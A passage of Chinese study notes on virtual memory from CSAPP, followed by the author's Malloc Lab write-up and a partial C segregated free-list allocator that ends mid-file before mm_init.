Unit\u0026mdash;》利用主存中的查询表来翻译虚拟地址。\n2.地址空间 # Address Space\n有物理地址空间和虚拟地址空间。\n自然数的有序的连续的有限的一个集合：\n$$ {0, 1, 2, \u0026hellip; N - 1} $$\n3.虚拟内存作为缓存的工具 # 发现还是cache魅力时刻。\n​\t概念上虚拟内存被组织为一个存放在磁盘中的字节数组，磁盘上的内容被缓存在主存中。\n​\t磁盘上的内容被分割成一块一块的page。\n​\t虚拟内存分割成虚拟页VP，物理内存分割成物理页PP。\n​\tVP的集合：\n1.未分配（磁盘上面的这部分地址还没有被分配）\n2.已分配未缓存（分配，但是还没有缓存到物理内存）\n3.已分配已缓存\n之后我们用SRAM来表示L1 L2 L3高速缓存。\nDRAM在主存中缓存虚拟页。\nDRAM是全相联缓存，也就是任意的物理页可以包含任意的虚拟页。\n1.页表 # ​\tVM要判断某个虚拟页是否存放在DRAM中的某个地方，还要判断放在哪个物理页中，没有就要替换，把磁盘中的虚拟页放在主存中的物理页。\n​\t物理内存中放 page table（页表），负责把 虚拟地址\u0026mdash;》物理地址。\n​\tOS维护页表内容，并且在DRAM和Disk之间传送页。\nPTE数组。\n过程 # page hit # 比如读取VP2中的内容，就会发生页命中。\npage fault # 就是缺页异常：\n比如在这里，我们想要访问VP3的数据，但是此时valid为0，那么表明没有被加载进DRAM中。\n​\t缺页异常会触发缺页异常的处理程序，接着对于某个DRAM中的物理页进行替换，如果页被修改过，还要进行写回，接着把虚拟内存中的Page加载到DRAM中，然后再进行访问。\n​\t这就是页面调度，还是cache的思想。\n分配页面\n注释。\n那么这样的页面调度算法还是要遵从局部性，来提高程序的性能。\n4.虚拟内存作为内存管理的工具 # 每个进程都有一个独立的页表，也就是独立的虚拟地址空间。\n1.简化link的过程，比如代码段总从0x400000开始，可执行文件需要时加载到物理内存中去执行。\n2.简化load的过程？ mmap 应用程序做内存映射。\n3.简化share，比如上面的shared page。\n4.简化memory allocation：比如调用malloc函数时，VM分配连续的K个VP，这K个VP映射到分散的K个PP上，这就是为什么堆内存慢。\n5.虚拟内存作为内存保护的工具 # ​\t在PTE表中我们可以对于用户的行为来加以限制，违反就会报segmentation fault。\n6.*地址翻译 # 首先记录一些简写。\n模拟过程：\n虚拟地址是怎么转换的？\nPTBR：页表基址寄存器，指向当前的页表。\n拿到一个虚拟地址，低P位是VPO，虚拟页面的偏移量，这个值和PPO相等。\n高n - p位是VPN，虚拟页号，在PTE中寻找对应的项，如果valid = 1，那么有效，把后面的位取出来作为PPN，就就是物理页号，和PPO组合，那么这样就组成了物理地址。\npage hit的过程是怎样的？\n1.CPU把VA给MMU。\n2.MMU计算出PTE地址，给主存。\n3.主存返回找到的PTE项。\n4.MMU用这个PTE构造出来PA，传给主存来请求数据。\n5.主存把请求的数据返回给CPU。\n如果发生了page fault？\n123和原来相同。\n4.发生了异常，转到缺页异常处理程序。\n5.程序确定逐出的page，如果发生了修改，还要写回到磁盘。\n6.从磁盘中加载到内存并且更新PTE。\n7.返回到原来的导致缺页异常的处理程序，此时就会命中。\n这个过程要硬件配合OS来完成。\n1.高速缓存和虚拟内存的结合 # 即PTE的页表条目也可以存储在高速缓存中，并没有冲突。\nL1寻址在MMU之后，一定使用的是物理地址来寻址，那么取物理地址的过程就和之前的cache是相同的。\n​\t地址翻译发生在高速缓存的查找之前。\n2.TLB加速地址翻译 # cache魅力时刻。\nMMU中包含了关于PTE的小的缓存：（Translation lookaside buffer）快表。\n虚拟地址中怎么访问TLB。\n和cache类似，把VPN的分开，低p位作为索引，高n - p - t 位作为标记。\n这个过程是类似的：\n1.VA给MMU。\n2.取VPN，在TLB缓存中找相应PTE项。\n后面类似。 未命中时从内存中获取的PTE还要加载到TLB缓存中。\n3.多级页表 # ​\t问题：如果只有一级页表，那么这个页表的所占的内存可能比较大，如果进程很多还各自拥有各自的页表，会产生问题。\n一级页表中的PTE负责虚拟内存中的一片（chunk）。\n二级页表中的每个PTE都负责映射一个VP。\n为什么能减少内存压力？\n​\t1.只有当二级页表中的有某一个部分存在映射的时候，这个二级页表才会存在在内存中，而一般4GB不会都用，这样就能大概做到有多少VP要被映射才会存在多少PTE。使用才会创建。\n​\t2.只有一级页表才需要总是存储在主存中。\nK级页表怎么翻译？\n​\t比如对于第j个位置，VPNj是第j个页表的索引，拿到这个页表的索引PTEj,它是下一个页表的基址，这样循环找到最后拿到PPN，和VPO连接得到了物理地址。\n“Accessing k PTEs may seem expensive and impractical at first glance. However, the TLB comes to the rescue here by caching PTEs from the page tables at the different levels. In practice, address translation with multi-level page tables is not significantly slower than with single-level page tables.”\n也是很天才的设计。\n4.手动模拟一下 # 自己看书，比较简单，和之前的关于cache的模拟也是类似的。\n7.实际案例 # 比较枯燥，到时候再看。\nlinux虚拟内存系统 # 内核虚拟内存和进程虚拟内存。\n怎样组织虚拟内存：\n​\t维护一个任务结构，mm_struct维护虚拟内存的当前的一个状态，mmap指向一个链表，链表的每个节点对于虚拟内存中的一些段进行描述。\n8.内存映射 # ​\t把一个虚拟内存区域和一个磁盘上的对象关联起来，就是内存的映射：映射到普通文件或者匿名文件。\n匿名文件是内核创建的，全部都是二进制0。\n​\t在安装linux时，我们会看到swap file，一旦一个虚拟页面被初始化，它就会在这个页面内被换来换去，那么这样的一个空间就会限制进程所能创建的VP的总数。\n再看共享对象 # ​\t这是一个公共的对象。\n关于这样的私有的对象，采用写时复制的方法，当试图写入的时候，我们才会在物理内存中进行一次复制。\n​\tfork函数：当一个进程调用fork的时候，内核为新的进程创建一系列数据结构并且分配PID，返回的时候，两个进程的虚拟内存地址相同，并且设置为写时复制，之后这两个进程中，当有一个试图去写的时候，就会触发写时的复制。\n​\texecve函数加载程序：\nMalloc Lab # 听说比CacheLab还要更难，让我来挑战一下。\n动态内存分配 # 运行时想要额外的虚拟内存，动态内存分配器(dynamic memory allocator)。\n进程虚拟内存区域中有一片区域称为堆（heap）：\n​\t堆顶指针是brk指针。\n​\t堆是向上增长的，和用户栈相反。\n​\tallocator把heap内存当成一些不同大小的块（block），每个block都是一些连续的虚拟内存的片（chunk），每个块要么空闲，要么已经分配，已经分配的块显式的可以被进程使用，空闲的块可以用来被分配。\n​\t分配器：\n​\t1.显式分配器：显式的分配和释放，C中的malloc和free函数。\n​\t2.隐式分配器：GC，也叫垃圾回收器，自动释放未使用的已分配块（Java中的GC）。\n1.malloc和free函数 # 调用：\n#include \u0026lt;stdlib.h\u0026gt; void *malloc(size_t size) 返回至少有size个字节的内存块，分配失败，返回NULL，同时要保证分配的内存以某种标准对齐。\ncalloc：分配的同时初始化。\nrealloc：给已经分配内存的块改变大小（本质是重新分配，并且不改变原来的数据）。\n分配和释放的过程：\np2的分配就是处于内存的双字对齐的要求。\np2释放之后，程序应当保证不会再使用p2指针（悬挂指针？）。\np4申请内存时，会使用之前的释放的内存。\n2.为什么要使用动态内存分配？ # 大一学习C程序设计就应该清楚了，很多数据结构的大小运行时才能确定，而我们不想要这样的hard code。\n3.分配器的要求和目标 # 1.处理任意请求和释放请求的序列：意思就是随机顺序，不像栈或者队列一样。\n2.立即响应请求。\n3.只用heap内存。\n4.满足对齐要求。\n5.不能修改已经分配的块。\n性能：\nHk为当前已经分配的堆的大小，Pk是已经分配的聚集有效的载荷之和，我们要让这个Uk峰值利用率最大化。\n4.Fragmentation（碎片） # ​\t内部碎片：已经分配的块的大小比有效载荷更大，比如为了对齐的时候造成的，它的大小就是已分配的字节减去有效载荷的字节的大小。\n​\t外部碎片：空闲块的数量够，但是没连起来，不能满足请求的块，就是外部碎片。\n分配器要试图维持少量的大空闲块，而不是大量的小空闲块。\n5.实现的问题 # 空闲块组织：如何记录空闲块？\n放置：选择哪里的空闲块来放置新分配的块？\n分割：新分配的块放置再某个空闲块之后，我们如何处理这个空闲块？\n合并：怎么处理刚刚释放的块？\n6.隐式空闲链表 # 分配器的数据结构：\n标注一些头部的信息。\n注意：最后的终止头部标志着结束。\n为什么叫隐含空闲链表？\n因为头部的大小隐含连接着两个块，给当前块的地址加上大小就跳转到了下一个块。\n简单但是任何操作的开销都要O（n），n是已分配和空闲的块的总数。\n注意9.6这道题目，前面表示大小的29bit不用向后移位的意思，直接表示，和cache那里不一样的地方就在这里。\n7.放置已经分配的块 # 我们采用的实现是首次适配。\n搜索空闲链表，由放置策略来决定的。\n当我们要去找一个能够分配的空闲块时：\n首次适配：从头开始直到第一个满足要求。\n下一次适配：从上一次查询结束的位置开始寻找。\n最佳适配：遍历所有的块，找到能放进去的并且最小的空闲块。\n那么上面三者各有利弊，这是很显然的。\n8.分割空闲块 # 把上面8个字的空闲块分割成两个4字的，前面分配，后面成为空闲块，也可以都分配，就会造成内部的碎片。\n这样也是决策的一种。\n9.获取额外的堆内存 # ​\t首先我们尽可能的合并空闲块，接着看合并之后能否生成一个足够大的块容纳请求的内存，如果不能，使用sbrk函数请求额外的堆内存，然后将这块内存插入空闲链表中，然后把要分配的内存进行分配。\n10.合并空闲块 # ​\t当释放某个块时，可能会造成两个空闲块并在一起的情况，这就造成了假碎片，那么我们就要进行合并。\n​\t那么什么时候合并？\n​\t1.立即合并：即释放的时候就对两边进行合并。（但是可能会产生抖动，比如不停的没有意义的合并和分割）\n​\t2.延迟合并：只有当分配失败的时候才遍历所有块进行合并。\n11.带边界的标记合并 # ​\t考虑我们之前学习过的链表，找链表后面的节点是很简单的，要和后面的块合并，我们只要把当前头部中的块大小加上后面头部的块大小即可，但是前面怎么处理？\n​\t每个块的结尾处加一个footer，它是头部的一个副本，也能表明是否是空闲块，这是否就类似于一种双向链表？\n那么释放块的时候就会有以下四种情况：\n​\t好处很明显，可以看到缺点就是header和footer可能会占用较多的空间。他们都是4bytes，都需要一个字。\n理解这个就没什么太大问题了。\n先来开始具体实现，内容之后再补充。\n实现要求 # 以下为手册的要求。\n​\t内存对齐。在C语言中，任何一种类型都需要对齐访问，例如指向int类型的指针第一个字节指向的位置是4的倍数（因为sizeof(int)=4），同理指向long long类型指针地址是8的倍数。我们这里要求你malloc返回的指针8字节对齐。\nmalloc与free不得移动、修改已经分配的块，若实现realloc数据点，则不得修改原有数据，任何空间分配不能与已经分配的块重叠。\n你的实现需要有：\n尽可能高的响应速度（吞吐量），即应用发出申请内存的请求到获得内存块首地址的速度尽可能快。 尽可能高的空间利用率，因为内存分配器还需要回收内存，所以你需要想办法重复利用不再使用的内存空间，而不是一味地使用全新的空间。 你可以使用的一些工具（function） # 一些有关内存拷贝的函数，你可能会在realloc的实现中使用到，如标准库的memcpy和memmove等。 一些数学有关的函数，如 log（需要math.h头文件） driver中给出的一些允许用来控制堆空间的函数，以下这些你大概率会使用到：\nvoid *mem_sbrk(int incr)：把堆的堆顶指针扩展incr个字节。\nvoid *mem_heap_lo(void)：返回当前堆内最低可以访问的字节的地址。\nvoid *mem_heap_hi(void)：返回当前堆内最高可以访问的字节的地址。\nsize_t mem_heapsize(void)：返回当前堆的大小。\nsize_t mem_pagesize(void)：返回页的大小（一般来讲是4KB，即字节）。\n注意事项： # ​\t由于空间连续，且新申请到的内存是空闲块，所以需要检查一下新申请的块前面是否是空闲块，如果是的话，你需要把它们合并成一个大块。\n​\t隐式空闲链表会使用序言块和结尾块，开始的四字节空数据用于对齐，后面的8字节跟一个序言块，前四个字节是header，后四个字节是footer（并且是已经分配的），我们的指针指向footer，这是一个已经被分配的块并且始终不会被释放，可以跳转到下一个块。\n​\t最后放一个结尾块。4bytes已经分配但是大小为0,这样的块就表明已经到达了堆内存的尾部。\n通过朴素的隐式链表和简单的首次匹配，我们拿到了70分，接下来我们来进一步优化。\n优化： # 分离空闲链表 # ​\t思想就是把一类大小相同的空闲块放在一起，维护一系列指针，每个指针指向各个大小的类的块。\n桶（bucket）：桶代表一类大小的空闲链表，其头指针存储在堆底。 分离空闲链表（free_lists）：所有桶的头指针构成的指针数组，其存储在堆底。 图来自于https://arthals.ink/blog/malloc-lab#%E5%9D%97%E7%9A%84%E7%B2%BE%E7%BB%86%E7%BB%93%E6%9E%84\n​\t怎么存放在堆底部？那么init的时候是不是要发生变化？\n​\t涉及空闲链表指针的操作时，就去加减mem_heap_lo()，来处理。\n​\t每个都是64bit。\n块的更精细的结构 # ​\t优化，我们减少元数据的信息。\n对于空闲块，同时存储头部和脚部，元数据信息大小为双字。 对于分配块，只存储头部，元数据信息大小为单字。 对于分配块，如果有申请奇数个字的话，可以避免一个字的内存碎片。\n空闲块存放可以使前后块迅速获得其信息。\n那么两类块的结构如下：\n那么一个空闲块最少要四个字节header，footer以及next，prev来维护显式空闲链表。\n​\t注意：除了序言块和结尾块，一个指针调用时指向负载的第一个字节或者空闲块的prev字节。\n块的头部一定是单字对齐，块的尾部一定是双字对齐。\n针对逆天测试点的优化：\nbinary文件按照这样的分配逻辑来进行，我们应该怎么处理。\n经过了长达20-30个小时的痛苦挣扎，我反思：\n1.知道自己的每一行代码在干嘛，要很清晰。\n2.两个size_t类型的数字相减一定是大于等于0的，我们在第一章就已经学习过了，但还是没有长记性。\n3.哪怕是抄别人的代码也一定要搞清楚，并且不要抄错，否则，debug将是一种痛苦。\n成品代码（96/100）：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;assert.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026#34;mm.h\u0026#34; #include \u0026#34;memlib.h\u0026#34; // 定义一些有用的宏，注意有些宏使用了其他的宏，那么你就要注意使用的顺序和方法 // 比较大小 #define MIN(X, Y) ((X) \u0026lt; (Y) ? (X) : (Y)) #define MAX(X, Y) ((X) \u0026gt; (Y) ? (X) : (Y)) // Header的大小 #define WORD_SIZE (sizeof(unsigned int)) #define CHUNK_SIZE (1 \u0026lt;\u0026lt; 12) // 用来在Header上写数据或者读取值 #define READ(PTR) (*(unsigned int *)(PTR)) #define WRITE(PTR, VALUE) ((*(unsigned int *)(PTR)) = (VALUE)) // 将块大小和是否被占用的信息合并，便于写入Header #define PACK(SIZE, IS_ALLOC) ((SIZE) | (IS_ALLOC)) // 在alloc位的上一位记录这个块前面的块有没有被分配,这样类似，写入header #define PACK_ALL(SIZE, IS_PREV_ALLOC, IS_ALLOC) ((SIZE) | (IS_PREV_ALLOC) | (IS_ALLOC)) // 传入指向Header的指针p，返回其后的负载块的长度 #define GET_SIZE(PTR) (unsigned int)((READ(PTR) \u0026gt;\u0026gt; 3) \u0026lt;\u0026lt; 3) // 传入指向Header的指针p，返回其后的负载块是否被占用 #define IS_ALLOC(PTR) (READ(PTR) \u0026amp; (unsigned int)1) // 这是对于一个空闲块的操作，查看它前面的块有没有被分配 #define IS_PREV_ALLOC(PTR) (READ(PTR) \u0026amp; (unsigned int)2) // 把这个块设置成已分配 #define SET_ALLOC(PTR) (READ(PTR) |= (unsigned int)1) // 设置空闲 #define SET_FREE(PTR) (READ(PTR) \u0026amp;= ~0x1) // 设置前面块已经分配 #define SET_PREV_ALLOC(PTR) (READ(PTR) |= (unsigned int)2) // 设置前面块未分配 #define SET_PREV_FREE(PTR) (READ(PTR) \u0026amp;= ~0x2) // 传入指向负载首个字节的指针，返回指向这个块的头/尾的指针 #define HEAD_PTR(PTR) ((char *)(PTR) - WORD_SIZE) #define TAIL_PTR(PTR) ((char *)(PTR) + GET_SIZE(HEAD_PTR(PTR)) - WORD_SIZE * 2) // 传入指向负载首个字节的指针，返回指相邻的下一个块/上一个块的指针 // 注意，指向的是负载块 #define NEXT_BLOCK(PTR) ((char *)(PTR) + GET_SIZE(HEAD_PTR(PTR))) #define PREV_BLOCK(PTR) ((char *)(PTR) - GET_SIZE((char *)(PTR) - WORD_SIZE * 2)) // 用来debug的宏 #define IS_IN_HEAP(PTR) (((char *)(PTR) \u0026gt;= (char *)mem_heap_lo()) \u0026amp;\u0026amp; ((char *)(PTR) \u0026lt;= (char *)mem_heap_hi())) // 设置一个全局变量heap_list总是指向序言块 static char *heap_listp = 0; // 空闲链表配置 #define FREE_LIST_NUMBER 14 // 一个头指针数组，每个指针指向该类链表的第一个空闲块 // 每个块存放的都是偏移量的大小 static char **free_lists; #define FIND_TIMES 8 // 注意这里寻找的逻辑是相对于lo()的偏移量 #define PREV_OFFSET(bp) (*(unsigned *)(bp)) #define NEXT_OFFSET(bp) (*(unsigned *)((char *)(bp) + WORD_SIZE)) // 在这个位置我们只存放偏移量 prev next的 // 这两个一定要返回绝对的地址 #define PREV_NODE(bp) ((char *)(mem_heap_lo() + *(unsigned *)(bp))) #define NEXT_NODE(bp) ((char *)(mem_heap_lo() + *(unsigned *)(bp + WORD_SIZE))) //static int flag = 0; // 我们在这里设置成偏移量 // #define SET_NODE_PREV(bp, val) (*(unsigned *)(bp) = ((unsigned)(val - mem_heap_lo()))) // #define SET_NODE_NEXT(bp, val) (*(unsigned *)((char *)bp + WORD_SIZE) = ((unsigned)(val - mem_heap_lo()))) #define SET_NODE_PREV(bp, val) (*(unsigned int *)(bp) = (unsigned int)((val) ? (char *)(val) - (char *)mem_heap_lo() : 0)) #define SET_NODE_NEXT(bp, val) (*(unsigned int *)((char *)(bp) + WORD_SIZE) = (unsigned int)((val) ? (char *)(val) - (char *)mem_heap_lo() : 0)) team_t team = { /* Team name */ \u0026#34;Ciallo\u0026#34;, /* First member\u0026#39;s full name */ \u0026#34;Quanye Yang\u0026#34;, /* First member\u0026#39;s email address */ \u0026#34;2236115135@xjtu.edu.cn\u0026#34;, /* Second member\u0026#39;s full name (leave blank if none) */ \u0026#34;\u0026#34;, /* Second member\u0026#39;s email address (leave blank if none) */ \u0026#34;\u0026#34;}; /* 用来做对齐的操作 */ #define ALIGNMENT 8 /* rounds up to the nearest multiple of ALIGNMENT */ #define ALIGN(size) (((size) + (ALIGNMENT - 1)) \u0026amp; ~0x7) #define SIZE_T_SIZE (ALIGN(sizeof(size_t))) // 一些静态辅助inline函数的定义，减少开销 /* 合并空闲块 */ static inline void *coalesce(void *hp, size_t size); /* 在一块找到的空间内分配内存 */ static inline void place(void *ptr, size_t size); /* 首次适配的逻辑 */ static inline void *first_fit(size_t size); /* 当对内存不够用时，堆内存扩展的逻辑 */ static inline void *extend_heap(size_t words); static inline size_t get_index(size_t size); static inline size_t adjust_size(size_t size); static inline void insert_node(void *bp, size_t size); static inline void delete_node(void *bp); //static void debug_heap(); //static int test_number = 0; // 合并空闲块 // check!!! // void*是任意类型的指针 // 最容易出错的逻辑 static inline void *coalesce(void *hp, size_t size) { size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(hp)); size_t is_next_alloc = IS_ALLOC(HEAD_PTR(NEXT_BLOCK(hp))); if (is_next_alloc \u0026amp;\u0026amp; is_prev_alloc) { // printf(\u0026#34;两边都没有空闲块，大小为 %ld \\n\u0026#34;, size); // 每次free都是前后已经分配并且是4096的大小？ // printf(\u0026#34; %ld \u0026#34;,size); //++test_number; // printf(\u0026#34; %d : %ld \\n\u0026#34;, test_number, size); SET_PREV_FREE(HEAD_PTR(NEXT_BLOCK(hp))); } else if (is_prev_alloc \u0026amp;\u0026amp; !is_next_alloc) { delete_node(NEXT_BLOCK(hp)); size += GET_SIZE(HEAD_PTR(NEXT_BLOCK(hp))); //printf(\u0026#34;后面有一个空闲块，合并之后大小为 %ld \\n\u0026#34;, size); WRITE(HEAD_PTR(hp), PACK_ALL(size, 2, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, 2, 0)); } else if (!is_prev_alloc \u0026amp;\u0026amp; is_next_alloc) { // 前面没有分配，稍微复杂一些 delete_node(PREV_BLOCK(hp)); SET_PREV_FREE(HEAD_PTR(NEXT_BLOCK(hp))); size += GET_SIZE(HEAD_PTR(PREV_BLOCK(hp))); //printf(\u0026#34;前面有空闲块，合并之后大小为 %ld \\n\u0026#34;, size); size_t is_prev_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(PREV_BLOCK(hp))); WRITE(HEAD_PTR(PREV_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, is_prev_prev_alloc, 0)); hp = PREV_BLOCK(hp); } else { delete_node(PREV_BLOCK(hp)); delete_node(NEXT_BLOCK(hp)); size += (GET_SIZE(HEAD_PTR(PREV_BLOCK(hp)))) + (GET_SIZE(HEAD_PTR(NEXT_BLOCK(hp)))); //printf(\u0026#34;两边都有空闲块，合并之后大小为 %ld \\n\u0026#34;, size); size_t is_prev_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(PREV_BLOCK(hp))); WRITE(HEAD_PTR(PREV_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); WRITE(TAIL_PTR(NEXT_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); hp = PREV_BLOCK(hp); } insert_node(hp, size); // debug_heap(); return hp; } // check!!! 如果有问题，大概就是空闲链表的设计有问题。 // place函数的全部，它传入指向一个空闲块的负载部分第一个字节的指针，以及需要从中分割出多少空间，你需要把分割出的一段或两段空间填写好相应的头部与尾部。 // 被binary攻击了，我们应当选取怎样的策略。 static inline void place(void *ptr, size_t size) { // assert(ptr != NULL); size_t curr_size = GET_SIZE(HEAD_PTR(ptr)); size_t remaining_size = curr_size - size; // printf(\u0026#34;place(): ptr = %p, curr_size = %zu\\n\u0026#34;, ptr, curr_size); // void *next = NEXT_BLOCK(ptr); // printf(\u0026#34;place(): next = %p\\n\u0026#34;, next); // printf(\u0026#34;place(): tail of next = %p, heap_hi = %p\\n\u0026#34;, TAIL_PTR(next), mem_heap_hi()); delete_node(ptr); // 小于最小块的大小，那么我们就不会分割 if (remaining_size \u0026lt; 4 * WORD_SIZE) { SET_ALLOC(HEAD_PTR(ptr)); SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // 如果下一个块是空闲块，那么尾部也要设置已经分配 if (!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))) { SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); } } else { // 产生分割 WRITE(HEAD_PTR(ptr), PACK_ALL(size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 1)); WRITE(HEAD_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); WRITE(TAIL_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); insert_node(NEXT_BLOCK(ptr), remaining_size); // 我们来进行一些关于面向数据点的优化 // if (size \u0026lt;= 72) // { // //printf(\u0026#34;分配成功了一下......\u0026#34;); // WRITE(HEAD_PTR(ptr), PACK_ALL(size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 1)); // WRITE(HEAD_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); // WRITE(TAIL_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); // insert_node(NEXT_BLOCK(ptr), remaining_size); // } // else // { // // 把大的块放到后面去 // WRITE(HEAD_PTR(ptr), PACK_ALL(remaining_size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 0)); // WRITE(TAIL_PTR(ptr), PACK_ALL(remaining_size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 0)); // insert_node(ptr, remaining_size); // ptr = NEXT_BLOCK(ptr); // WRITE(HEAD_PTR(ptr), PACK_ALL(size, 0, 1)); // SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // if(!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))){ // SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); // } // } } // // 实验全部分配的代码 // size_t curr_size = GET_SIZE(HEAD_PTR(ptr)); // delete_node(ptr); // WRITE(HEAD_PTR(ptr), PACK_ALL(curr_size, IS_PREV_ALLOC(ptr), 1)); // SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // if(!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))){ // SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); // } } // check 逻辑应该没有问题，如果有问题，应该是显式链表的设计有问题 // 从开头开始遍历，直到找到第一个满足条件的分配块，并且返回指向负载部分第一个字节的指针 static inline void *first_fit(size_t size) { // 找一个合适的桶 int number = get_index(size); char *hp; // 从这个桶之后开始向后方进行遍历 for (; number \u0026lt; FREE_LIST_NUMBER; ++number) { // 怎么设计的显示分离空闲链表??? // 注意使用的是偏移量 // 但是在调用的时候，我们使用的都是真实的地址 for (hp = (char *)mem_heap_lo() + (size_t)free_lists[number]; hp != mem_heap_lo(); hp = NEXT_NODE(hp)) { // 首次适配的逻辑 long diff = GET_SIZE(HEAD_PTR(hp)) - size; if (diff \u0026gt;= 0) { //printf(\u0026#34;The free block size is %d and the required size is %d...\\n\u0026#34;, GET_SIZE(HEAD_PTR(hp)), size); long min_diff = diff; char *cur = hp; for (int index = 0; index \u0026lt; FIND_TIMES \u0026amp;\u0026amp; cur != mem_heap_lo(); cur = NEXT_NODE(cur), ++index) { long s = GET_SIZE(HEAD_PTR(cur)) - size; if (s \u0026gt;= 0 \u0026amp;\u0026amp; s \u0026lt; min_diff) { min_diff = s; hp = cur; } } return hp; } } } return NULL; } // check!!! // 用新的空闲块扩展堆 // 要扩展多少个字的大小 // 当我们指向尾部节点的时候，我们会扩展内存，这里的hp指向的是负载的内存（也就是才分配的），那么hp的前面就是刚才的结束foot，那么我们把刚才的结束foot设置成新的header，并且把才分配的内存的最后一个设置成结束foot，那么就处理了边界问题 static inline void *extend_heap(size_t words) { char *hp; size_t size; // 首先分配堆内存,必须要是偶数,因为要对齐8字节 size = (words % 2 == 1 ? ((words + 1) * WORD_SIZE) : (words * WORD_SIZE)); hp = mem_sbrk(size); // printf(\u0026#34;Here, we extended %d bytes\\n\u0026#34;, size); if (hp == (void *)-1) { return NULL; } // 仔细思考一下，这是很精妙的处理边界情况的方式 // WRITE(HEAD_PTR(hp), PACK(size, 0)); // WRITE(TAIL_PTR(hp), PACK(size, 0)); // WRITE(HEAD_PTR(NEXT_BLOCK(hp)), PACK(0, 1)); size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(hp)); WRITE(HEAD_PTR(hp), PACK_ALL(size, is_prev_alloc, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, is_prev_alloc, 0)); WRITE(HEAD_PTR(NEXT_BLOCK(hp)), PACK(0, 1)); // 假如前面的一个块也是空闲的，调用合并空闲块的函数 return coalesce(hp, size); } // 根据不同的数值来获取不同大小的桶对应的链表位置 static inline size_t get_index(size_t size) { // if(size \u0026lt;= 4096) // return 1; // if (size \u0026lt;= 15360) // return 11; // if (size \u0026lt;= 30720) // return 12; // if (size \u0026lt;= 61440) // return 13; // else // return 14; // if (size \u0026lt;= 1) // return 0; // if (size \u0026lt;= 2) // return 1; // if (size \u0026lt;= 4) // return 2; // if (size \u0026lt;= 8) // return 3; // if (size \u0026lt;= 16) // return 4; // if (size \u0026lt;= 32) // return 5; // if (size \u0026lt;= 64) // return 6; // if (size \u0026lt;= 128) // return 7; // if (size \u0026lt;= 256) // return 8; // if (size \u0026lt;= 512) // return 9; // if (size \u0026lt;= 1024) // return 10; // if (size \u0026lt;= 2048) // return 11; // if (size \u0026lt;= 4096) // return 12; // if (size \u0026lt;= 8192) // return 13; // if (size \u0026lt;= 16384) // return 14; // if (size \u0026lt;= 32768) // return 15; // else // return 16; if (size \u0026lt;= 1) return 0; if (size \u0026lt;= 16) return 1; if (size \u0026lt;= 32) return 2; if (size \u0026lt;= 64) return 3; if (size \u0026lt;= 128) return 4; if (size \u0026lt;= 256) return 5; if (size \u0026lt;= 512) return 6; if (size \u0026lt;= 1024) return 7; if (size \u0026lt;= 2048) return 8; if (size \u0026lt;= 4096) return 9; if (size \u0026lt;= 8192) return 10; if (size \u0026lt;= 16384) return 11; if (size \u0026lt;= 32768) return 12; else return 13; // return 0; } static inline size_t adjust_size(size_t size) { if (size \u0026gt;= 112 \u0026amp;\u0026amp; size \u0026lt; 128) { return 128; } // binary.rep if (size \u0026gt;= 448 \u0026amp;\u0026amp; size \u0026lt; 512) { // printf(\u0026#34;Allocated size changed from %ld to %d...\\n\u0026#34;, size, 512); return 512; } return size; } // 关于空闲链表的插入和删除 static inline void insert_node(void *bp, size_t size) { // 我们是往链表的头部进行插入 // 找到是属于第几个桶 size_t number = get_index(size); // 该链表的头节点先拿出来 char *curr = (char *)mem_heap_lo() + (size_t)free_lists[number]; // free_lists存放了一系列的头节点 // 直接更新头节点为插入的节点 free_lists[number] = (char*)((char *)bp - (char *)mem_heap_lo()); // 插入的节点不是第一个节点 if (curr != mem_heap_lo()) { // 把插入的bp作为链表的头节点 // 这里设置的是指向链表的地址 // 设置双向链表 SET_NODE_PREV(bp, mem_heap_lo()); SET_NODE_NEXT(bp, curr); SET_NODE_PREV(curr, bp); } else { // bp是插入的第一个节点 SET_NODE_NEXT(bp, mem_heap_lo()); SET_NODE_PREV(bp, mem_heap_lo()); } } // check!!! static inline void delete_node(void *bp) { assert(bp != NULL); assert(!IS_ALLOC(HEAD_PTR(bp))); size_t size = GET_SIZE(HEAD_PTR(bp)); size_t number = get_index(size); char *next_node = NEXT_NODE(bp); char *prev_node = PREV_NODE(bp); // 是否是头节点 if (prev_node == mem_heap_lo()) { // 是头节点就直接设置成下一个节点 free_lists[number] = (char*)((char *)next_node - (char *)mem_heap_lo()); // 是否是唯一的头节点 if (next_node != mem_heap_lo()) { SET_NODE_PREV(next_node, mem_heap_lo()); } } else { // assert((int*)prev_node \u0026gt;= (int*)mem_heap_lo()); SET_NODE_NEXT(prev_node, next_node); if (next_node != mem_heap_lo()) { SET_NODE_PREV(next_node, prev_node); } } } /* * mm_init - initialize the malloc package. */ // 